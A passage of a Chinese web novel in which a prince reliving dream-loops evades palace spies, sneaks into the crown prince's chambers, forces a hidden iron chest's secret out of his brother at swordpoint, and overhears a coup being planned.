第5章 太监马原与宸察院
太庙。
祭坛前。
摆放着大大小小的各种食物、器具。
黑**纯色牛、猪、羊,各一只。
竹编礼器盛黍、稷、稻、粱等器具,盛满露水。
玄酒(清水)、郁鬯(香草酒)单独成列。
象征天地的玉帛,苍璧、黄琮,摆放在台面上。
祖宗排位,逐一排列。
太祖居中,左昭右穆。
周氏(始祖)、周晟煌(太祖)、周焕尧(太宗)、周煦仁(仁宗)、周焜璋(宣宗)……
“奠玉——兴——”
昭明帝携带苍璧黄琮,放置于祖宗牌位前。
礼部尚书跪祝文,开始诵读。
全体伏地。
……
接下来各种流程,各种仪式,接踵而至。
祭祖大典、祭社大典。
周昕阳全程陪同。
早已麻木。
但没办法,这是必经的流程,属于通关爽梦,必须要忍受的折磨。
三大典中的两大典,他身为外地藩王,回京后,却不参加,无论如何也说不过去。
更别说后面的成人礼了。
这可是专门为周昕阳准备的。
“哎!”
周昕阳轻叹一声,拿出怀表,看着上面的时间。
13:00。
“用完午膳后,只有一个小时的休息时间。”
“然后就是成人礼了。”
周昕阳想着接下来的流程。
“算了,趁着这个时间,先去攻略一下,主要角色。”
周昕阳叫来了徐善。
“小善,你帮我去找个人,他叫马原,在御书房当值,现在他应该在东院休息,你过去找他,就说本王要跟他叙叙旧。”
周昕阳吩咐道。
“是,王爷。”
徐善点头后,快步离去。
关键人物+1。
这个马原,就是带他去御书房的小太监。
这个人物,哪怕不用,关系还是要维持一下。
万一有用呢?
虽然这一次梦境,周昕阳不打算去御书房“听课”了,不过人物关系还是要拉一下的,万一改变计划,还能用得上。
片刻后,马原被徐善带来了弘义阁。
“奴婢见过王爷。”马原恭敬行礼。
“小马,好久不见了。”
周昕阳露出温和的笑容,“当年本王年幼,在宫中闹出了不少笑话,你帮了不少的忙,本王一直记忆犹新。”
“此番找你,只是叙旧,你不要有太多负担。”
“小善。”
徐善当即会意,从袖子里拿出一锭白银,“来,这是王爷赏的。”
“王爷,这万万不可!”
“太贵重了。”
马原当即跪了下来,根本不敢收。
外地藩王的赏赐,他一个做奴婢的,哪敢乱收?
“无妨。”
“你若有压力,本王去跟内侍府的总管太监解释。”
周昕阳露出温和的笑容。
“这……好吧,那奴婢多谢王爷了。”马原行了一礼,接过了这锭白银。
“嗯,说起当**情,还真是有趣啊!”
“当年本王被梦魇之症困扰,突然冲进御马司,非要拉着你去御书房,想来还真是有趣啊!”
“是啊,王爷,您那时候真把奴婢给吓坏了……还以为您……”
周昕阳有一搭没一搭的闲聊着。
马原的情绪也逐渐放松下来,不断回话,脸上也多了些回忆往昔的笑容。
一炷香的时间,转瞬即逝。
“行了,时间也差不多了。”
“本王也要休息一下了。”
“你下去吧。”
周昕阳看了一眼时间,对马原说道。
“是,奴婢告退。”马原行礼,退了出去。
“小善,去内侍府交代一声,就说本王给了马原一些赏赐,简单做下报备,别让人误会了。”
周昕阳闭上眼睛,假寐起来,随口吩咐道。
“是。”
徐善会意,恭敬行礼后,离开了房间。
周昕阳思绪转动,到这一步,与以往的操作,都没什么不同。
他的每一步都是计算好的,没有一丝一毫的多余的。
赏赐多少银子?
如何攀谈?
以及去内侍府报备。
这一系列的步骤,都是缺一不可的。
差一步,马原这个人,他都用不上。
……
马原刚离开弘义阁,还没走多远。
就被两个人拦了下来。
“跟我们走一趟吧。”
两人身着藏青色常服,腰间别着配刀,样子与寻常皇宫侍卫截然不同,表情平静,眼神淡漠。
左边之人,掏出一块刻有“宸察伍陆柒”编号腰牌。
“是。”
马原
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表情一僵,老老实实跟着两人离开了。
三人来到皇宫的一处地下密室。
“说吧,泽川王都跟你说了什么?”
“如实交代。”
两人开始了询问。
“没什么,王爷跟我叙旧,赏赐了我一锭银子……”马原解释道。
……
申时正中(16:00)
啰里啰嗦的成年礼,终于结束了。
周昕阳也松了一口气,接下来,就是他的自由活动时间。
说是自由活动,但实际上,藩王入京后,每一步都有【宸察院】的人暗中观察,严格记录,随时上报给皇帝。
宸察院,大虞的情报组织,被誉为皇帝之眼,上下等级分明,监察百官,皇权特许,先斩后奏。
刚刚周昕阳为什么让徐善去内侍府报备?
就是做给宸察院的人看的。
在以往的梦境中,周昕阳已经不是第一次跟宸察院打交道了。
他太清楚这些人的手段,也太清楚这些狼崽子究竟是怎么盯着他的……
“宸察院的人,盯着我,自然也盯着其他藩王,以及太子。”
“不然怎么会在太子醉酒御道奔马后,第一时间配合老六去搜查东宫呢?”
“酒宴之前,我若是失踪,肯定会引起骚乱……”
“要避开宸察院的耳目,还要提前潜入东宫,这倒是有些难度,只可惜,难不住我。”
“皇宫嘛!”
“太熟悉了。”
周昕阳嘴角勾起一丝笑容,将目光看向站在一旁的徐善。
一瞬间,徐善浑身一颤,不知为何,他突然觉得有些冷。
很快,他就看见了周昕阳的目光。
“额……王爷,你怎么了?”徐善怯弱的问道。
“没什么。”
“本王打算出去走走,不想被宸察院的眼睛盯着,晚膳之前,我会回来的。”
“所以你懂得。”
周昕阳露出充满“和善”的笑容。
“额……王爷,不要啊!”
“你别这样,这里可是皇宫,你到处走的话,会惹麻烦的。”
徐善露出为难的表情,提醒道:“而且,奴婢是你的贴身太监,肯定也被宸察院的人盯着……”
“这你就不用管了。”
“脱衣服吧。”
周昕阳强硬打断了徐善的絮叨。
“好吧。”
徐善还是拒绝不了自家王爷。
第6章 潜入东宫
不多时后。
周昕阳与徐善身份互换。
成为了泽川王的贴身太监。
“嗯,还挺合身的。”
周昕阳活动了一下,很快入戏,对着徐善,恭敬一礼:“王爷,奴婢告退。”
“别,王爷,你别这样。”
这可把徐善吓坏了,连忙摆手。
“试试感觉罢了。”
周昕阳直起身子,对穿着**袍的徐善,吩咐道:“从现在开始,你时不时要走到窗边晃悠一下,不要太频繁,大概半个时辰,走一次,时间也不要太固定,这样显得太可疑了。”
“晚膳大概在戌时开始,我会在这个时间之前回来。”
“本王会让太监送一些本王喜欢的糕点过来。”
“你要偶尔吃一点。”
“别露馅了。”
“不然回去狠狠抽你!”
“是。”徐善面露苦涩的点了点头。
“王爷,你可一定要按时回来啊!”
“不然我可扛不住。”
“知道了。”
“啰嗦。”
周昕阳微微弯腰,学着徐善的姿势,缓缓退了出去。
他低着头,朝着御膳房走去。
他不是第一次假扮徐善,也不会是最后一次。
对于附近暗中窥探的宸察院探子,他心知肚明,但依旧装作没有察觉。
周昕阳来到了御膳房,举起令牌,夹着嗓子:“王爷想要吃绿豆糕、红豆饼,你们准备一下。”
“是。”
御膳房管事看见“泽川王”令牌后,当即安排了下去。
藩王回京,一切吃穿用度,皆由宗人府调度开支。
只要不是太过分的安排,一律照办。
人家可是王爷,好不容易回京,自然要好生照顾。
周昕阳微微颔首,“抓紧时间吧,王爷在等着呢。”
交代完毕后,周昕阳就离开了御膳房,朝着御花园走去。
一炷香后,在御花园假山的拐角处。
周昕阳的身影突然消失了。
“嗯?”
“人呢?”
“去哪里?”
两道身影嗖得一下,从暗处窜了出来。
左右张望。
寻找着周昕阳的身影。
然而,一无所闻。
一个活生生的人,就这么凭空消失了?
“找!”
“如果找不到他,我们就死定了。”
两人对视一眼,眼中尽是担忧和惶恐。
两人开始疯了一样,寻找起周昕阳的身影。
一道身影,挂在假山的墙壁上,犹如倒悬的蝙蝠,静静注视着这两人。
又过了半炷香,两人的身影,逐渐走远。
“总是老一套。”
“没啥意思。”
周昕阳摆脱掉两个宸察院的探子后,快步朝着东宫跑去。
十年间的探索,周昕阳几乎已经完美掌握了皇宫中的点位。
“一,二。”
“转身。”
“一,二。”
“停。”
“一,二,继续。”
周昕阳手持怀表,似乎在计算着什么?总是莫名其妙的停顿,又莫名其妙的行进,毫无章法,整个人显得很是怪异。
可就是如此怪异的行进方式,却没有一人发现,没有一个人察觉。
如果此刻有人站在上帝视角俯视整个皇宫,就能发现此刻的周昕阳,活脱脱像一个开了透视挂的超能力者,在皇宫内畅通无阻,如有神助。
每一个转角,每一次停顿,每一个回身。
周昕阳都能完美的跟经过的太监、宫女们错位而过。
每一步,都是视野盲区。
从御花园到东宫的路上,大摇大摆的周昕阳,好似隐形人一般,无人发现,无人关注。
强的可怕!
不多时候,周昕阳就站在了东宫侧门旁。
“啧啧!”
“无他,唯手熟尔。”
“就这个走位,我就问,还有谁?”
周昕阳简单自恋了一波后,收拾情绪,犹如狸猫一般,爬上树,一个纵身,跳入了东宫。
……
御书房。
“陛下,东宫内的线人传出消息,太子私穿龙袍,私刻玉玺……”
内缉司·右提督使厉斩秋恭敬半跪,向昭明帝禀告。
宸察院,分为文察司和内缉司。
文察司,负责情报分析、档案管理、密码破译、策反、安插卧底、监听朝臣文牍往来等“文”职,下设各科房。
内缉司,主管秘密侦查、抓捕、审讯、暗杀、护卫、执行特殊任务等“武”职及对内监察(包括监察文察司),下设各行动组。
宸察院,由掌院学士萧景琰直接管理,下设左右提督使、镇抚使、掌案千户、理刑百户、司吏、番役等职。
“这件事,暂且封存吧。”
昭明帝端坐在龙椅上,神情平静,对着来人挥了挥手。
“是。”
厉斩秋恭敬行礼,退了出去。
“太子,朕
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对你的忍耐是有限度的。”
“你要适可而止,别太过分了。”
“朕对你的宽容,你要珍惜啊……”
昭明帝神情淡漠,喃喃自语,可手上却忍不住攥紧了拳头。
很显然,私穿龙袍、私刻玉玺这些事情,让昭明帝感到极为愤怒。
但他并不想跟太子撕破脸,闹得太难看……
……
东宫,后院。
“殿下,不能再等了。”
“再不动手,您的太子之位,恐怕就要被二皇子、三皇子夺走了。”
一名身穿太监服饰,满头银发,脸上尽是沟壑和褶皱的老者,死死盯着周炳宸,语气凝重、严肃。
“孤可是太子。”
“父皇不会这么做的。”
“这太冒险了!”
“孤的东宫,一直被内缉司的人盯着。”
“没有机会的。”
“舅舅,哪怕孤成功了,这篡位弑君之名,孤也要背一辈子!”
周炳宸连连摆手,脸上神色复杂。
“糊涂。”
长孙晟训斥道,“古往今来,有几个太子是顺位继承的?”
“我问你,如果陛下认你这个太子,为何二皇子、三皇子身为藩王,迟迟不返回封地就藩?”
“朝野上下的议论之声,你不是没有听见,你却心怀侥幸,视若无睹……”
“面对困难,畏首畏尾。”
“这岂能成大事?”
说到这里,长孙晟顿了一下,抓住周炳宸的肩膀:“太子殿下,成大事者,不拘小节。”
“舅舅没让你弑父杀君,这是大不孝,舅舅只是让你拿回属于自己的东西,等你上位之后,封陛下为太上皇,供起来,好好赔罪,不就是了?”
“这……”周炳宸还是犹豫,“皇宫戒备森严,孤的人手都在宫外,如何能成事?”
闻言,长孙晟微微一笑,“只要太子殿下想,舅舅就能帮太子殿下变出人来。”
“嗯?”
周炳宸一愣,不明白对方的意思。
“祭祖大典、祭社大典、九皇子的成年礼,以及晚上的酒宴,什么时候皇宫内的守卫最松懈?”长孙晟问道。
“自然是酒宴结束,百官离开皇宫之后了。”周炳宸理所当然的说道。
“不错。”
“这个时候是守备最松懈的时候。”
“可若是这个时候,殿下您醉酒在御道上的奔马呢?”
长孙晟轻声在周炳宸的耳旁说道。
一句话,让周炳宸浑身一震。
第7章 开箱
“醉酒御道奔马?”
“这……”
“这可是僭越的大罪啊!”
“会掉脑袋的。”
周炳宸脸色大变,连忙摇头。
长孙晟平静的望着对方:“难道殿下带兵造·反,就不是掉脑袋的大罪了?”
“嘶……”
周炳宸倒吸一口凉气,脸色难看。
“舅舅,你究竟想怎么做?”
“醉酒在御道上奔马……孤一旦这么做了,如果失败,孤就完了。”
“您明白这意味着什么?”
长孙晟神情平静:“太子殿下,您还是不懂老臣来找你的意思。”
“请舅舅教我。”周炳宸冷静下来,拱手道。
“殿下,你当太子也十五年了吧?”长孙晟问道。
“是。”
“正好十五年。”周炳宸点头。
“十五年间,您的表现,我们都看在眼里,勤勤恳恳,无论是学业,还是处理政务,您都做得很好。”
“您德才兼备、礼贤下士、体恤民瘼,您上位,是众望所归。”
“在您的带领下,未来大虞定然是风调雨顺、百姓安居乐业的盛世。”
“可陛下老了,有了其他的心思。”
“这点,我们改变不了。”
“可若是您被废,二皇子或者三皇子上去了,不止是您,跟随您的大臣,与您有关联的外戚,您的母后,都会遭受牵连。”
“您不是一个人。”
“请您为我们考虑考虑。”
“今天老臣来找您,也不是为了我一个人,也不止是为了长孙家,为的是跟您有关的所有人。”
“我们希望您给我们一个答案。”
“这件事,究竟是做?”
“还是不做?”
此话一出,周炳宸陷入了沉默。
是的。
一路走到现在,他从来都不是一个人。
身为太子,他的身旁早就簇拥了不少人。
所有人都在等待他上位。
重新分配利益。
可现在出了变数。
不光周炳宸着急,底下那些拥护他的大臣更是着急。
这场投资,他们参与了太多。
深陷其中。
已经脱不了身。
这个时候,告诉他们,周炳宸当不成太子了,未来登基不了?
这谁能接受?
周炳宸看着自家舅舅深沉、幽暗的眼眸,他很清楚,已经身不由己了。
哪怕他不想走,底下的人,也要推着他走。
一定要把他扶持上去!
“做。”
周炳宸下定决心。
“好。”
长孙晟松了一口气,他也担心事到临头,太子却怂了。
那可就不妙了!
“殿下,今夜你借着酒劲在御道上奔马,配合打开午门,这个时候,皇城守军绝对会被吸引,我们就趁机走神武门入宫,只要拿下陛下,我们就拥护您登基,逼陛下退位……”
周炳宸点了点头,听完计划,他算是明白了。
他就是一个幌子。
一个诱饵。
吸引皇城守军、宸察院的诱饵。
他是太子,哪怕醉酒在御道上的奔马,也不可能有性命之忧。
所以,本质上,这就是一场豪赌。
……
一个时辰后,东宫,藏宝库。
“怎么这里没有呢?”
周昕阳一阵翻找,却始终一无所获,并没有发现那个神秘的铁箱。
这让他一阵懊悔。
“早知道上一次做梦的时候,应该要问一下老六是从哪里找到的铁箱?”
“这么重要的情报,居然忘记了?”
“该死!”
周昕阳瘫坐在地上,很是沮丧。
“我不是老六,没办法带人搜查,如果不能提前知道铁箱的位置,光找铁箱就会浪费很多的时间……”
周听阳看着怀表上的时间,从进入东宫到现在,已经过去二个小时。
如果算上去御膳房、去御花园和甩开跟踪之人的时间,已经快三个小时过去了。
距离返回时间,只剩下不到二个小时。
可他连铁箱的影子都没找到。
“等等,让我认真想一想。”
“老六说,宫中太监所言,太子曾在宫中穿过龙袍……也就是说,老六来东宫搜查,是揣着明白装糊涂,是拿着答案来答题的。”
“可找了一圈后,却没有发现龙袍的踪影。”
“这才发现的铁箱。”
“所以,藏宝库的位置不对。”
“这个地方,肯定是搜索的第一个目标。”
周昕阳经过分析,觉得自己的第一目标就找错了。
铁箱明显很重要。
那这么
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重要的东西会放在哪里呢?
“很重要,并且不定时就要看一眼……确认东西还在,才能安心。”
周昕阳眼前一亮,“卧室。”
“唯有睡觉的地方,才能满足这个条件。”
“当然书房也有可能,不过书房就需要有密室放置了。”
“卧室的私密性更好。”
“绝对是首选。”
周昕阳有了方向,溜出了藏宝库。
满地的金银珠宝、古董字画,周昕阳根本没有一点兴趣。
他需要钱吗?
嗯,不太需要。
从小到大,他从来都没缺过钱。
况且,梦里的钱,只能在梦里花,对他而言,有啥用?
一直以来,他在梦里“购物”,从来都是不花钱的。
一炷香后,周昕阳溜进了太子的卧房。
跟他猜的一样。
卧房内,一个人都没有,床铺上干干净净的。
到处都是一尘不染。
很显然是经过打扫。
“开找。”
周昕阳开始摸索。
各种可能存在机关的地方,他都没有放过。
最终在床铺底下,发现了一块凸起物。
“哦吼,有收获。”
周昕阳嘴角勾起一丝笑容,按动凸起物,咔嚓一声。
机关转动,他身下的石板翻动,整个人掉了下去。
他进入了一处密室。
“密室啊!”
“老大,你也没什么心意嘛?”
周昕阳小声嘀咕。
走到密室尽头,他看见了那个熟悉的铁箱。
“不容易啊!”
“终于找到了。”
周昕阳长舒了一口气。
如果再找一个小时,还找不到,他就只能先回去了。
不然他失踪的消息,肯定会引起大震动。
届时,整个皇宫鸡飞狗跳的寻找,他的位置肯定会暴露。
其实,他都做好找不到的准备了。
如果实在找不到,他就打算晚上再过一次御书房剧情,问一下老六,究竟在哪里找到的?
无非就是浪费一次梦境的机会。
不过万幸,他找到了。
“开搞!”
“今天必须给你开箱了!”
周昕阳拿出铁丝、榔头、撬棍、简易竹制听筒等各种装备,放在地上,开始破解铁箱上的大锁。
第8章 天下岂有瘸腿的太子?
“第一把锁,开!”
“第二把锁,开!”
第一把横式长方体的广锁、第二把象征着长寿与官运的龟锁,周昕阳三下五除二就给打开了。
“接下来,就有点难度了。”
周昕阳看着眼前这个暗黑色轮转机关密码锁,盘膝坐下,拿出纸笔,开始将背好的诗词。
逐一默写出来。
第一对:林庭声梳水簌心。
……
足足十几条诗句。
都是周昕阳封地内的读书人绞尽脑汁后的答案。
按照他的要求,续写这首山居晨景七言律诗。
满足两个条件。
其一,每个字,必须按照先后顺序,从第一句到第七句中抽取,每一句诗,取一个字,组成一个完整的诗句。
其二,要符合诗词韵律和风格,尽量贴切。
这个要求,可让封地内的读书人们绞尽脑汁了。
他们叫苦不迭。
认为周昕阳的癔症更严重了。
这叫做什么要求啊?
哪有这么作诗的?
这不是为难人吗?
不过为难归为难,最终他们还是给周昕阳弄了十几条答案。
“如果这个七转文字密码锁是开锁逻辑,真的是利用词句开锁,那这些答案之中,肯定有正确的。”
“但如果只是随意的排列组合,那需要尝试的组合就多了。”
“不可能浪费时间去一点点尝试,如果不对的话,就只能用其他几个破解之法了。”
“透光凹槽法、触感反馈法、暴力拆解法,逐一尝试,就不信破解不了。”
周昕阳思绪转动,开始摆弄上面的文字机关,转动转轮,将上面文字顺序,一一拨正。
林、庭、声、梳、水、簌、心。
咔嚓。
锁没开。
周昕阳也不气恼,继续尝试。
第二对:痕根破叶落耳洗。
错!
第三对:翠对山万穿落溪。
错!
第四对:掩云寂缕落门洗。
还是不对!
“难道方向错了?”
周昕阳微微皱眉,但他并没有放弃,继续尝试诗词破解。
可足足尝试了十几个,还是没打开。
“看来没办法,只有用其他方法开锁了。”
周昕阳有些失望,看来想要通过诗词来破解,还是不太现实。
“也可能,本身就没有逻辑,不过是一个幌子。”
想到这里,周昕阳开始使用透光凹槽法,一点一点拆卸文字密码锁。
正在周昕阳全神贯注的破解密码锁上的机关时——
“咔嚓、咔嚓……”
突然响起了机关齿轮转动的声音。
周昕阳脸色微变,连忙放下密码锁,看向通道尽头。
只见,一道熟悉的身影,缓缓走了进来。
“九弟,你怎么会在这里?”
来人身穿杏黄色九**纹**袍,两肩绣四爪龙,双袖饰火,身前有华虫、宗彝等图案,气度不凡。
“大哥。”
周昕阳看着这身熟悉的衣服,他甚至不用看脸,都知道来人是谁。
大虞当今太子——周炳宸。
周炳宸看着地面上已经被拆开的两个锁,神情冷了下来:“九弟,你能不能跟大哥解释一下,你在做什么?”
“算了。”
周昕阳自顾自的说道:“看来这一次,要提前重开了。”
见周昕阳不搭理自己,周炳宸眉头皱得更深:“你的癔症更严重了。”
“也罢。”
“别怪大哥,要怪就怪你走错了地方。”
下一刻。
周炳宸直接拔出系在腰间的佩剑,朝着周昕阳劈了过去。
“大哥,我不怪你。”
“但你也别怪我……”
周昕阳反应很快,抬手一挥,藏在袖子里的生石灰撒了出去。
“啊!”
“什么东西?”
周炳宸一下子被迷了眼睛。
他疯狂的到处劈砍,阻止周昕阳的靠近。
周昕阳不动声色,绕到周炳宸身后,抬脚就是一腿,狠狠踹到他的背上。
周炳宸一个踉跄,直接摔倒在地。
周昕阳顺势夺走佩剑。
周炳宸还想要挣扎……
下一刻,冰冷的剑锋已经架在了他的脖子上。
“好了,大哥,现在我们可以好好聊聊了。”
周昕阳玩味的声音,在周炳宸的耳旁响起。
在死亡的威胁下,他冷静了下来。
“九弟,冷静点。”
“大哥不过是跟你开个玩笑。”
“我怎么敢对你下手呢?”
“你可是藩王,进京祭祖,你若有事,肯定会彻查到底的,内缉司的人,你又不是不知道……”
“来,把剑拿开,万一伤了你我都不好。”
周炳宸态度一下子软了下来,开始示弱、求饶。
“果然,真理在手,人
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都会变得很懂事,不错!”周昕阳满意的笑了。
“九弟……”周炳宸还想说什么,就被周昕阳冷声打断了。
“行了,你失踪太久,肯定会引来关注。”
“别说废话,谈点现实的。”
“我也开锁半天,你这个主人既然在,也省得我费功夫了。”
“快!”
“想活命,就把铁箱打开。”
周昕阳冷声道。
“不是,九弟,我不知道你误会了什么?”
“这个东西,它不是我的啊!”
“我也没有钥匙。”
周炳宸眯着眼睛,生石灰粉疼痛难忍,让他睁不开眼睛。
“都这个时候了,大哥,你还不肯说实话?”
周昕阳脸色一沉,没有丝毫的犹豫,提起宝剑,就插入了周炳宸的左大腿。
“啊啊啊……”
周炳宸发出凄厉的惨叫,他万万没想到周昕阳居然这么癫?
他居然真敢对自己动手?
“你疯了!”
“你疯了是不是?”
“你想干什么?”
“孤可是太子,你怎么能这么对孤?”
“泽川王,你只是藩王,伤害太子,你不要命了吗?”
周炳宸剧烈的挣扎起来。
“大哥。”
周昕阳冷漠的声音,在周炳宸的耳旁响起。
“我的耐心是有限度的。”
“我再重复一遍,把箱子打开。”
“听懂了吗?”
“如果你没听懂,那接下来,我就只能继续捅你的大腿了……流血流多了,伤了要害,你的腿可就废掉了。”
“不知道一个瘸子,还能不能当太子?”
“疯子,你这个疯子!”周炳宸被周昕阳的语气搞怕了。
听到周昕阳说要杀了自己,周炳宸其实不怎么慌。
毕竟,他认为哪怕周昕阳有癔症、梦魇之症,也不至于如此丧心病狂的敢杀自己吧?
可当他听见周昕阳说要废掉自己的大腿,让自己当瘸子的时候……
他是真的慌了!
这天下,岂有一个瘸子当太子?
当天子的?
这是要断了他的路啊!
“大哥,你别逼我啊!”
话罢,周昕阳把宝剑拔了出来,作势继续捅。
“等等。”
“九弟,九弟,我说,我什么都说。”
“你冷静点。”
周炳宸大惊失色,连忙说道。
第9章 铁箱的秘密
“那就说吧。”
周昕阳将宝剑放到周炳宸的左大腿旁,淡淡说道。
“好好好……”
“我说,九弟,你冷静。”
“别冲动。”
周炳宸不断安抚周昕阳的情绪,生怕他冲动:“九弟,你想知道什么?”
“铁箱究竟是怎么回事?”
“里面究竟放了什么东西?”
周昕阳冷声问道。
“九弟,这个铁箱是一个仙风道骨的老道士给我的,他说里面的东西,能帮我顺利继位。”
“你知道的,我一直担心无法顺利继位,所以才把他藏在这里……”周炳宸解释道。
“说谎!”
周昕阳也不客气,又是一剑插入他的左大腿。
“啊啊!”
“你干嘛?”
“疯了,你这个疯子!”
周炳宸痛苦的哇哇大叫,疯狂挣扎,将周昕阳从自己身上推开,往出口处爬去。
“大哥,你如果再乱动,我就把剑捅穿你的大腿,把你钉在这里。”
“你说这里这么隐蔽,在一直流血的状态下,你能活多久呢?”
周昕阳看着爬行蠕动的周炳宸,语气冰冷,犹如寒风一般。
一瞬间,周炳宸冷静了下来。
他算是看清楚了,这个九弟完全是个疯子!
什么癔症、梦魇之症治好了?
放屁!
“九弟,你就饶了我吧。”
“我说的都是真的!”
周炳宸转过头,看向周昕阳,眼中尽是恐惧。
“真的?”
周昕阳蹲在地上,望着对方,“那弟弟问你,你的龙袍藏到哪里去了?”
“龙……龙袍?”周炳宸脸色一变,“九弟,你可别乱说啊!”
“我我我……怎么可能私藏龙袍呢?”
“这可是掉脑袋的大罪啊!”
“不承认?”周昕阳摇了摇头:“哎,看来大哥还真是不见棺材不掉泪,既然如此,那弟弟就只能将你的腿砍下来了……”
说吧,周昕阳站起身来,提着沾染着鲜血的宝剑,一步步朝着周炳宸走去。
“不!”
“不不不!”
周炳宸脸色大变,疯狂摆手,“九弟,九弟,我说,我交代。”
“我确实私自做了龙袍,我有罪,我该死。”
“不过,这个龙袍,真的跟铁箱没关系,你要信我啊!”
“龙袍在哪?”周昕阳停下脚步,冷漠看着他。
“龙袍……龙袍被母后发现,被她收去了。”
“我真的没骗你啊!”
“你如果不信,孤跟你一起去找母后,给你看龙袍都没问题啊!”周炳宸拼命辩解,眼中尽是乞求和恐惧。
闻言,周昕阳略微沉吟了一下,觉得周炳宸的话,有几分可信度。
如果他说,龙袍藏在东宫别的地方,那周昕阳绝对再给他一剑。
让他骗!死性不改!
可他偏偏说,龙袍被吴皇后收走了,不在东宫。
这个解释,就比较能说得通了。
东宫被老六搜过,掘地三尺,连铁箱都找到了,却没有找到龙袍,说明龙袍要不在铁箱里,要不已经被转移了。
不过,也有可能,老六确实漏掉了某些地方,导致龙袍没被发现。
只是这个可能性比较小。
“铁箱的钥匙在哪里?”
“打开它。”
“我饶你一命。”
周昕阳并没有在龙袍上继续纠结。
龙袍对他来说,根本不重要。
关键是这个铁箱。
他很好奇里面究竟有什么东西?
“九弟,我真没有钥匙啊!”
“都现在这样了,如果我有钥匙,我会不拿吗?”
“难道我连自己的性命都不要了?”
“我比你还想知道里面究竟有什么?”
“你相信我啊!”
周炳宸露出委屈、焦急的神色,不断解释。
“你不知道铁箱里面有什么?”
“那你为什么特意建造一座地下密室来摆放它?”
“还藏在卧室这么隐蔽的地方?”
“你以为我会相信吗?”
周昕阳冷冷盯着他。
“好,好。”周炳宸一咬牙,“我说。”
“我把我所知道的事情,统统都告诉你。”
“你信不信,我就没办法了。”
“如果我说完了,你还是不信,你要杀要剐,只管动手。”
“我认了。”
“说吧。”周昕阳看着对方,观察着他的表情,判断着他话语的真实性。
“我刚刚并没有骗你,这个铁箱确实是一个老道士给我的,我也不清楚他的身份,只是他长得很唬人、也很灵验,所以我特意去找他求签。”
“他只看了我一眼,就说我有龙蛇之像,不过想要**蛇化龙,需要经历一番波折,所以他给了我一张符纸,
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让我点燃后,放入水中服下……”周炳宸开始讲述往事。
“这你就信了?”周昕阳觉得很扯。
“我一开始当然不信。”周炳宸连忙说道,“可他随意点了几个事情,无不应验,我觉得碰上高人了。”
“那时候,我正好还没成为太子,所以我就求他指点。”
“这才有了符水之事。”
“还没成为太子?”周昕阳一惊,“你是什么时候用符水的?”
“十五年前。”周炳宸回答。
嗯?
周昕阳心头一震,这个时间点,跟他开始做梦的时间点是一样的。
“继续。”
“嗯,喝完符水之后,我就开始顺风顺水,不光被父皇夸奖,还顺利成了太子。”
“我很高兴,认为这个道士很靠谱,所以买了不少礼物,再去见他。”
周炳宸脸色有了变化:“可我刚见到他,他就冲着我摇了摇头,我不解,就问他。”
“他说。”
“我虽然成了太子,可前途坎坷,恐怕无法顺利登基。”
“这话让我慌了。”
“因为他太神了。”
“我问他有没有化解之法?”
“他说有。”
“然后他就把这个上着四把锁的铁箱给了我。”
“让我好好保管,他说铁箱里的东西,能镇住我的气运,帮我稳十五年,这段时间内,一定要尽快登基,不然会有变数。”
“这个老道士,好大的胆子!”周昕阳不得不感叹,这个胆子太大了。
这个话语间,尽是鼓动太子谋反之意。
“对啊,我也觉得。”
“不过说来也奇怪,等我将铁箱放到这里后,我又开始顺了,甚至连脑袋都清明了许多。”
“处理政务起来,也是得心应手。”
“父皇也对我的变化,大加赞赏。”
“我也得到了文武百官的支持和认可。”
“我以为只要保持下去,我就能顺利登基……”
“可没想到,从去年开始,老二老三突然被召了回来,而且迟迟不回封地就藩,留在京城,随时听宣。”
“这让我有了危机感。”
“我突然想到,距离十五年的期限,越来越近了。”
“难道是这个东西压不住了?”
“所以,我开始每天都来检查铁箱……”
周炳宸看向不远处的铁箱,眼中尽是复杂之色。
第10章 反杀
“你就没想过打开它?”
周昕阳开口问道。
“想过啊!”
“当然想过了。”
“我做梦都想啊!”
周炳宸眼神中的情绪很复杂,又恨又爱,“可我不敢!”
“我不知道究竟发生了什么?”
“可我害怕,害怕打开后,会发生什么不好的事情?”
“我甚至怀疑里面是不是放了什么下降头的东西?”
“那你没有去找过那个老道士?”周昕阳又问。
“我去了啊!”
“可自从我拿走铁箱后,他就消失了。”
“神秘失踪。”
“我派人找了十五年,都没有找到。”
周炳宸脸色难看,“如果能找到,我一定要找他问清楚。”
“这么说,你对于怎么打开铁箱,一点也不知道?”周昕阳冷声道。
“不知道。”周炳宸摇头,辩解道:
“九弟,都这个时候了,我骗你干嘛?”
“如果我能打开这个铁箱,肯定就打开了。”
“这个铁箱哪有我的命重要?”
“这么说来,你之所以害怕,想要动手杀我,也是因为怕铁箱暴露,打开后发现你这个太子居然在宫中搞巫蛊之术?”周昕阳若有所思。
“肯定啊!”周炳宸点头:“若非如此,我怎么会对你动手呢?”
“他既然如此灵验,又能保我十五年无虞,还用铁箱封着。”
“里面的东西,肯定不会太正。”
“如果被父皇知道我身为太子,却偷偷使用巫蛊之术,我肯定就完了。”
“你怎么知道是巫蛊之术?”周昕阳又发现了周炳宸话语中的漏洞。
“我猜的啊!如果不是巫蛊之术,岂会如此灵验?”周炳宸理所当然的说道,“在煜暎朝,就曾因为巫蛊之术,导致十几万人遭受牵连,我能不怕吗?”
周昕阳微微眯眼,判断着周炳宸话语的真假。
见周昕阳突然不说话,周炳宸用双手捂住伤口,小心翼翼的看着对方。
他现在对自己这个九弟,是怕了!
太疯批了!
完全不管不顾,直接就是捅!
还要废掉自己的大腿?
这是病好了?
妈的!
这些庸医!
这分明就是更严重了!
连老子都能看出来!
周炳宸在心中把治疗周昕阳的大夫狠狠的臭骂了一顿。
“我要继续开锁了。”
“你想起什么,就抓紧说。”
“在这里待着。”
“别打扰我。”
周昕阳觉得差不多了,反正审问的机会又不是只有这一次。
下一次入梦,周昕阳继续用这个话题审问,如果两次回应不太一样,哼,大哥,你可就要遭老罪了!
“不是。”
周炳宸脸色一变:“九弟,我大腿还在流血啊?”
“我等等**,怎么办?”
“**就**,再废话,现在就让你死!”周昕阳头也不回的说道。
“额……”周炳宸表情一僵,顿时老实下来。
周昕阳开始捣鼓七转文字密码锁。
他首先采用的是透光凹槽法。
周昕阳点了一根蜡烛,对准密码锁的缝隙,将光投射·进去,观察每一次转动的变化。
“每一个字,居然透光反应是一样的?”
周昕阳皱眉,当即放弃了这个方法。
“只能用触感反馈法了。”
周昕阳开始转动轮轴,感受着认真听着机关轴承转动的声音,感受着其中的变化。
周炳宸看着周昕阳的动作,又看了看地上已经被打开的两把锁,眉头紧锁。
“为什么会这样?”
